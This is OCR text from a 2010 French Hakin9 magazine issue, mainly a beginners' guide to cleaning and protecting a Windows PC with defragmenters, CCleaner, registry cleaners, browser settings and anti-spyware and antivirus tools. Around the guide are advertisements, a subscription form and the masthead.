Les fichiers se fragmentent à force d’installer/ désinstaller des logiciels, supprimer des fichiers, etc. La défragmentation a donc pour fonction de rendre toute sa fraîcheur au PC. Répétez l’opération pour chacun de vos disques si vous en avez plusieurs. Windows propose un outil de défragmentation que vous utilisez d'un clic droit sur le disque dur à défragmenter, sélectionnez Propriétés et rendezvous dans l’onglet Outils. La défragmentation par l’outil de Windows est une bonne chose mais il n’est pas très performant (cf. Figure). En effet, il existe des outils entièrement dédiés à cela comme Disk Defrag, Diskeeper ou encore l’excellent O&O Defrag (cf Figure 2). Bien que O&O Defrag soit un shareware, sa version 10 est disponible gratuitement à l’adresse suivante : http://www.oo-software.com/home/en/ special/komputerswiat/
La défragmentation Attaquons le vif du sujet en commençant par une défragmentation du disque dur. La défragmentation d’un disque regroupe les fichiers fragmentés pour optimiser les performances du système. Cette opération s’effectue tous les mois ou une fois par trimestre selon que vous sollicitez beaucoup ou non votre disque dur.
Figure 1. Défragmentation avec Windows
74 HAKIN9 3/2010
74_79____nettoyage.indd 74
2010-03-11, 15:10:34
COMMENT NETTOYER SON PC ? Suppression des fichiers inutiles A force d’utilisation, votre ordinateur à la fâcheuse tendance à garder de nombreux fichiers absolument pas nécessaires. Il s’agit, par exemple, des fichiers temporaires internet, des documents récents, des fichiers dans la corbeille, etc. Si vous ne supprimez jamais l’ensemble de ces petits fichiers, vous risquez d'avoir à supprimer plusieurs Mo ou Go. Au lieu de chercher l’ensemble de ces fichiers à la main, nous allons faire appel à des programmes permettant, en un clic, d’éradiquer de votre disque dur absolument tous les fichiers indésirables et temporaires. Parmi eux, il y a CCleaner. CCleaner est vraiment ultra simple à utiliser. Dans un premier temps, vous utilisez sa fonction Nettoyeur et éliminez toutes les traces et fichiers temporaires de Windows et de vos diverses applications. A vous de déterminer les applications que vous souhaitez purger et celles applications à épargner (cf. Figure 3)
Par défaut, les paramètres avancés sont désactivés. La plus grande prudence est de rigueur si vous activez ces cases car votre système risquerait de devenir instable. Une fois les bons paramètres sélectionnés, cliquez sur Analyse puis, celle-ci terminée, sur Lancer le Nettoyage. Dans la même catégorie que CCleaner, il existe également : EasyCleaner, nCleaner ou encore Disk Cleaner
Nettoyer la base de registre Le registre de Windows est une base de données de configuration du système d’exploitation et des divers logiciels installés sur l’ordinateur. Elle a la particularité d'être extrêmement sensible. Après chaque installation, de nouvelles entrées s'effectuent dans la base de registre mais ne se retirent pas forcément lors des désinstallations. Attention : toute opération sur la base de registre requiert une grande vigilance. Il est recommandé de systématiquement faire une sauvegarde préalablement à toute opération.
Pour modifier manuellement le registre, tapez regedit en ligne de commande (cf. Figure 4, 5). Puis validez via Ok. En déroulant l’ensemble des listes, vous accédez à toute la base de registre de l’ordinateur cible. Cette utilisation de la base de registre est très efficace mais requiert une très bonne connaissance en la matière. Nous allons donc préférer l’utilisation de logiciels spécialisés pour faire ce nettoyage. Nous allons donc utiliser Regseeker offrant toute une palette de services concernant la base de registre. L’interface de RegSeeker, même si elle est en anglais, est excessivement simple d’utilisation. Choisissez les clés à analyser puis vérifiez que la case « Backup before deletion » est effectivement activée. Ensuite, cliquez simplement sur Ok ! pour lancer le nettoyage automatique (cf. Figure 6). Une fois le scan terminé, il est possible de tout sélectionner en prenant soin de vérifier que les entrées rouges ne présentent aucun risque. Si vous avez le moindre doute quant à leur suppression, ne supprimez que les entrées vertes (cf. Figure 7).
Nettoyer vos navigateurs Figure 2. Défragmentation avec O&O Defrag
L’utilisation de vos chers navigateurs (Firefox, Internet Explorer, Opera etc.) laisse un nombre très important de traces sur votre machine. Dans l’ensemble de ces fichiers, vous trouverez historique des
Figure 4. Accès à la base de registre
Figure 3. Suppression des fichiers inutiles avec CCleaner
Figure 5. Base de registre sous Windows 3/2010 HAKIN9
74_79____nettoyage.indd 75
75
2010-03-11, 15:10:45
DÉBUTANTS pages vues, cookies, fichier temporaire etc. Pour éviter que toutes ces informations ne se retrouvent sur vos ordinateurs, il est nécessaire de configurer convenablement vos navigateurs.
Nettoyer vos traces sous Internet Explorer Il a toujours été assez simple d’effacer vos traces sous Internet Explorer. Sous IE8, la manipulation est aussi facile à réaliser. Ouvrez le navigateur puis sélectionnez les Options Sécurité puis Supprimer l’historique de navigation (cf. Figure 8). Dès lors, vous pouvez supprimer les fichiers temporaires, les cookies, l’historique, les données remplies dans les formulaires ainsi que les mots de passe sauvegardés.
Ensuite, pour éviter au maximum d’avoir à refaire l’ensemble de ces configurations, paramétrez Internet Explorer. Pour cela, rendez-vous dans Options Internet. Dans les parties sécurité et confidentialité, vous pouvez régler certains paramètres (cf. Figure 9 et 10).
Cliquez sur Paramètres pour sélectionner le type de fichiers que vous souhaitez effacer et ceux que vous souhaitez conserver (cf. Figure 12). Vous pouvez aussi effacer vos traces à n’importe quel moment en surfant, via l’onglet Outils/Effacer mes traces.
Nettoyer vos traces sous Firefox
Les spywares
Sous Firefox, le principe est le même, mais vous pouvez également programmer le logiciel pour qu’il supprime automatiquement toute trace de navigation sur internet (cf. Figure 11). Pour cela, rendez-vous dans les Options via le menu Outils. Dans la section Vie privée, cochez « Videz l’historique lors de la fermeture de Firefox ».
Aujourd’hui, Internet regorge de logiciels espions et malveillants communément appelés spywares. Ces mouchards recueillent des informations sur votre disque dur et les envoient à une régie publicitaire par exemple. Il ne s’agit pas réellement de programmes dangereux mais ils violent votre vie privée. Ces applications ayant l’habitude de s’installer sur votre PC sans vous demander votre accord, il est très difficile de s’en débarrasser sans passer par un logiciel spécialisé permettant les détecter avant de les éradiquer. Il existe un très grand nombre de logiciels anti-spywares. Chacun s'appuie sur une base de données de spywares connus plus ou moins complète. Pour notre exemple, nous allons prendre Spybot qui est l’un des plus connus (cf. Figure 13). Il existe également Ad Aware qui permet de réaliser cette opération à merveille (cf. Figure 14).
Figure 8. Supprimer l’historique de navigation sous Internet Explorer Figure 6. Nettoyage de la base de registre avec RegSeeker
Figure 9. Acceptation du niveau de sécurité sous Internet Explorer
Figure 7. Suppression d’éléments inutiles sous RegSeeker
Figure 10. Acceptation du niveau de sécurité sous Internet Explorer
76 HAKIN9 3/2010
74_79____nettoyage.indd 76
2010-03-11, 15:10:56
COMMENT NETTOYER SON PC ? Les malwares
•
Voici la dernière catégorie et non pas la moindre, il s’agit des Malwares. Certains d’entre vous sont peut être en train de sauter sur leur siège en se disant « Mais il n’a pas parlé des virus !!!!! ». Par définition, le terme Malware signifie Logiciel malveillant et donc, inclut les virus ainsi que les vers. Par définition (Cf Wikipédia)
Les virus. Un virus est un programme capable de se propager à d'autres ordinateurs en s'insérant dans des programmes légitimes appelés hôtes. En plus de se reproduire, un virus peut effectuer d'autres actions susceptibles de nuire à l'utilisateur de l'ordinateur infecté ou à d'autres utilisateurs reliés par réseau à l'ordinateur infecté. Les virus ne doivent pas être confondus
•
avec les vers qui sont des programmes capables de se propager et de se dupliquer par leurs propres moyens sans contaminer de programme hôte. Les vers (worms). Le ver est un programme qui se répand par courrier électronique en profitant des failles des logiciels de messagerie. Dès qu'un ver a infecté un ordinateur, il tente d'infecter d'autres ordinateurs en s'envoyant lui-même à des adresses contenues dans le carnet d'adresses de l'ordinateur infecté.
Figure 12. Choix des parametres d’effacement des données sous Firefox
Figure 13. Elimination des mouchards avec Spybot - Search & Destroy
Figure 11. Fenetre d’option de configuration sous Firefox
P
U
B
L
I
C
I
T
É
3/2010 HAKIN9
74_79____nettoyage.indd 77
77
2010-03-11, 15:11:07
DÉBUTANTS Parce que les virus ont été historiquement les premiers logiciels malveillants, le terme « virus » est souvent employé abusivement, spécialement par les media, pour désigner toutes sortes de logiciels malveillants. Le logiciel antivirus renforce cette utilisation abusive puisque son objectif n'a jamais été limité aux virus.
Nous allons donc installer un logiciel anti-virus. Il en existe des dizaines et des dizaines (cf. Figure 15). Nous allons donc installer AVG Antivirus qui est un logiciel antivirus libre et gratuit Il est important que ce dernier soit continuellement à jour. Pour cela, n’hésitez
Figure 14. Elimination des mouchards avec Ad-Aware
Linkographie Défragmenter votre disque : • • • •
http://www.auslogics.com/en/software/disk-defrag/ - Disk Defrag http://www.diskeeper.com/ - Diskeeper http://www.perfectdisk.com/ - Perfect Disk www.oo-software.com/ - O&O Defrag
à cliquer sur l’onglet Mise à jour puis télécharger l’ensemble des mises à jour disponibles (cf. Figure 16). Pour une meilleure protection, il est nécessaire d’activer l’analyse programmée de l’ordinateur afin de vérifier régulièrement que rien ne traine sur votre ordinateur. En complètement d’AVG, nous installerons un logiciel dit d’anti-malware, il s’agit de Malwarebytes' Anti-Malware qui se trouve en version gratuite et version payante. La version gratuite est très largement suffisante pour l’analyse de votre machine. Comme pour AVG Anti-virus, il est nécessaire que ce logiciel soit continuellement à jour car de nouvelles menaces apparaissent tous les jours (cf. Figure 17). Pour éviter tout conflit voire plus, n'installez pas plusieurs logiciels réalisant les mêmes actions de protection sur votre ordinateur. Si un fichier vous paraît suspect mais que votre antivirus ne le détecte pas, au lieu d’en installer un autre ou plus, faites analyser votre fichier en ligne. Voici le résultat après l’envoi d’un fichier. D’après 41 antivirus, ce fichier est inoffensif.
Conclusion La mise à jour régulière de l’ensemble de votre ordinateur et la suppression de tous les fichiers inutiles et dangereux permet de gagner en vitesse, stabilité ainsi que sécurité du système. Donc, n’hésitez pas à maintenir vos logiciels à jour et à régulièrement refaire les mêmes actions. NB. Le reste de Figures, vous allez pouvoir télécharger via le site officiel de Hakin9 : www.hakin9.org/fr
Anti-spywares : • •
http://www.lavasoft.fr - Ad Aware http://www.safer-networking.org/index2.html - SpyBot
A propos de l’auteur Régis SENET est étudiant en cinquième année à l’école Supérieur d’informatique Supinfo. Passionné par les tests d’intrusion et les vulnérabilités web, il tente de découvrir la sécurité informatique d’un point de vue entreprise. Il s'oriente actuellement vers les certifications Offensive Security et CEH. Contact : [email protected] Site internet : http://www.regis-senet.fr
78 HAKIN9 3/2010
74_79____nettoyage.indd 78
2010-03-11, 15:13:04
74_79____nettoyage.indd 79
2010-03-11, 15:11:31
w
SecureIP Solutions La sécurité de l’information est une chose importante pour les entreprises et même pour les particuliers. C’est pourquoi SecureIP Solutions vous propose différents produits et services pour protéger vos précieuses données tels qu’un service de sauvegarde en ligne, les différents produits BitDefender et bien plus encore. http://www.secureip.ca
NUMERANCE NUMERANCE, Spécialisée dans la sécurité informatique, intervient auprès des Petites et Moyennes Entreprises, en proposant des prestations d’audit, d’accompagnement, et de formation. http://www.numerance.fr
Hervé Schauer Consultants : 17 ans d'expertise en Sécurité des Systèmes d'Information Nos formations techniques en sécurité et ISO27001 sont proposées à Paris, Toulouse, et Marseille. http://www.hsc.fr/services/formations/cataloguehsc.pdf Informations : [email protected] - +33 (0)141 409 704
TippingPoint TippingPoint est un leader mondial dans la prévention des intrusions réseaux (Network IPS) de 50Mbps à 10Gigabits ainsi que la vérification d’intégrité de poste et le contrôle d’accès du réseau (NAC). Tél : 01 69 07 34 49, E-mail : [email protected] http://www.tippingpoint.com
Sysdream Cabinet de conseil et centre de formation spécialisé en sécurité informatique. L’expérience c'est avant tout les recherches publiques, visant à améliorer la sécurité des applications et des systèmes d’informations. Les résultats disponibles sur des portails de recherche, dans la presse spécialisés. http://www.sysdream.com
MICROCOMS Microcoms est une société spécialisée dans les produits Microsoft qui a pour vocation d'aider les particuliers, les TPE-PME et les professions libérales sur 6 axes principaux de l'informatique : Assister, Dépanner, Conseiller, Sécuriser, Former, Maintenir. Tél. : 01.45.36.05.81 e-mail : [email protected] http://www.microcoms.net
ALTOSPAM Ne perdez plus de temps avec les spams et les virus. Sécurisez simplement vos emails professionnels. ALTOSPAM est un logiciel externalisé de protection de la messagerie électronique : anti-spam, anti-virus, anti-phishing, anti-scam... Testez gratuitement notre service, mis en place en quelques minutes. http://www.altospam.com OKTEY – 5, rue du Pic du Midi – 31150 GRATENTOUR
2010-03-10, 16:52:15
comment se dèfendre
BULLETIN D’ABONNEMENT Merci de remplir ce bon de commande et de nous le retourner par fax : (+48) 22 244 24 59 ou par courrier : Software Press Sp. z o. o. SK Bokserska 1, 02-682 Varsovie, Pologne Tel. (00 33) 09.75.180.358 E-mail : [email protected] Prénom/Nom ........................................................................................ Entreprise ............................................................................................. Adresse ................................................................................................. ................................................................................................................ Code postal .......................................................................................... Ville ........................................................................................................ Téléphone ............................................................................................. Fax ......................................................................................................... Je souhaite recevoir l'abonnement à partir du numéro .................... ................................................................................................................ En cadeau je souhaite recevoir ....................................................... ................................................................................................................ E-mail (indispensable pour envoyer la facture) ................................ ................................................................................................................
PRIX D’ABONNEMENT À HAKIN9 COMMENT SE DÉFENDRE : 35 € Je règle par : Carte bancaire n° CB
code CVC/CVV expire le _______________ date et signature obligatoires
Abonnez-vous et recevez un cadeau !
type de carte (MasterCard/Visa/Diners Club/Polcard/ICB)
Virement bancaire : Nom banque : Nordea Bank Polska S.A. banque guichet numéro de compte clé IBAN : PL 55 1440 1101 0000 0000 1018 8113 Adresse Swift (Code BIC) : NDEAPLP2
81_prenumerata.indd 71
2010-03-10, 16:52:43
EN JUILLET 2010 Dans le prochain numéro Toute l'actualité du prochain numéro sur le site www.hakin9.org/fr.
DOSSIER
ATTAQUE
Cloud Hosting
• CISCO • XSHM
Vous souhaitez collaborer a la rédaction des articles? N`hésitez pas á nous contacter! [email protected] Ce numéro sera disponible en janvier. La rédaction se réserve le droit de modifier le contenu de la revue.
Le bimestriel hakin9 est publié par Software Press Sp. z o. o. SK
Président de Software Press Sp. z o. o. SK: Paweł Marciniak Directrice de la publication: Ewa Lozowicka Redacteur en chef: Aneta Mazur [email protected] Fabrication: Andrzej Kuca [email protected]
Parc d’activités de Chesnes, 55 bd de la Noirée BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX (c) 2009 Software Press Sp. z o. o. SK, tous les droits réservés Béta-testeurs : Didier Sicchia, Pierre Louvet, Anthony Marchetti, Régis Senet, Paul Amar, Julien Smyczynski, Gregory Vernon, Latorre Christophe, Timotée Neullas Les personnes intéressées par la coopération sont invitées à nous contacter : [email protected] Préparation du CD : Rafal Kwaśny Imprimerie, photogravure : ArtDruk www.artdruk.com Adresse de correspondance : Software Press Sp. z o. o. SK Bokserska 1, 02-682 Varsovie, Pologne Tél. +48 22 427 32 87, Fax. +48 22 244 24 59 www.hakin9.org
Abonnement (France métropolitaine, DOM/TOM) : 1 an (soit 6 numéros) 35 € La rédaction fait tout son possible pour s’assurer que les logiciels sont à jour, elle décline toute responsabilité pour leur utilisation. Elle ne fournit pas de support technique lié à l’installation ou l’utilisation des logiciels enregistrés sur le CD-ROM. Tous les logos et marques déposés sont la propriété de leurs propriétaires respectifs. Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société G Data Software Sp. z o.o. AVERTISSEMENT Les techniques présentées dans les articles ne peuvent être utilisées qu’au sein des réseaux internes. La rédaction du magazine n’est pas responsable de l’utilisation incorrecte des techniques présentées. L’utilisation des techniques présentées peut provoquer la perte des données !
La rédaction se réserve le droit de modifier le contenu de la revue